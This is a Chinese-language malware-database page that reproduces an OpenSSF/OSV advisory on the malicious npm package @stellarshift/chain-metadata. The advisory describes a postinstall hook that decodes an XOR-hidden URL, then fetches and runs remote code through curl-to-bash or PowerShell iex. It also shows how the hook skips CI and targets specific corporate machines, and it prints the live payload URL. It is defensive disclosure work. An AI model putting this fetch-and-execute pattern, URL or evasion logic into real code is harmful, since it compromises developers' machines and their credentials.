目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@stellarshift/chain-metadata

MAL-2026-15822
2026-09-04 06:32:27
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @stellarshift/chain-metadata (npm)

凭据/密钥窃取安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
5
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
永久样本归档NAS
版本状态大小SHA-256获取方式
1.0.1archived——VIP 下载
样本保存在内网 NAS 隔离区,不公开镜像地址;已开通会员可直接从平台下载。同步任务不会解压或执行样本。
受影响版本
EcosystemPackageVersion
npm@stellarshift/chain-metadata*
npm@stellarshift/chain-metadata1.0.0
npm@stellarshift/chain-metadata1.0.1
npm@stellarshift/chain-metadata1.0.3
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-15822","published":"2026-09-02T17:38:00Z","modified":"2026-09-04T06:32:26.936300310Z","aliases":["GHSA-vwjw-qgfw-xg9m"],"summary":"Malicious code in @stellarshift/chain-metadata (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6)\nThe package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in `endpoint-registry.json` and decoded at runtime by `config-resolver.js` (encoding tag `ss-xor-v1`, decoder `segments[i] ^ key.charCodeAt(i % key.length) ^ ((i*7+13) & 0xff)`). The decoded destination is `https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon`, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to `bash` (`curl -fsSL... | bash`); on Windows it is executed via PowerShell `iex (iwr -UseBasicParsing -Uri $uri).Content`, with detached/hidden process flags. Execution is gated by `dev-profile.js`: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises `No network calls — safe for CI and air-gapped builds` and `Zero runtime dependencies`, directly contradicting the shipped install-time network fetch and shell execution.\n\n## Source: ghsa-malware (539c9ea2b1ba04e3d86ec8ab3074f227550ae2005c391eef7b4fc3758fc215f6)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"@stellarshift/chain-metadata","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.1","1.0.3","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"scripts/postinstall.js","sha256":"7ada9e5614f23923c86b8c7f9ff878fe0a32f21771b30b32ba39c9829bd3552d","tlsh":"a1710ef402926b3171b2e3ac57478d06d4bb743236968280f5ccb1c5afed62c426acf9"}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stellarshift/chain-metadata/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stellarshift/chain-metadata/v/1.0.3"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vwjw-qgfw-xg9m"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stellarshift/chain-metadata/v/1.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019339","import_time":"2026-09-02T22:16:58.657860227Z","modified_time":"2026-09-02T22:06:38Z","sha256":"73ca40d956cda15005010fe70efae66223ada7fd91a2b2cfad1718a7f6d3c063","source":"amazon-inspector","versions":["1.0.1"]},{"id":"IN-MAL-2026-019340","import_time":"2026-09-02T22:16:58.697751825Z","modified_time":"2026-09-02T22:06:46Z","sha256":"932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6","source":"amazon-inspector","versions":["1.0.3"]},{"id":"GHSA-vwjw-qgfw-xg9m","import_time":"2026-09-03T05:28:36.015718Z","modified_time":"2026-09-02T17:38:00Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"539c9ea2b1ba04e3d86ec8ab3074f227550ae2005c391eef7b4fc3758fc215f6","source":"ghsa-malware"},{"id":"IN-MAL-2026-019627","import_time":"2026-09-04T06:30:33.190626031Z","modified_time":"2026-09-04T06:15:50Z","sha256":"1d7282e76c02a553aa758228a21cfe2be8bd899dd67caaa5eccb05ef56095883","source":"amazon-inspector","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0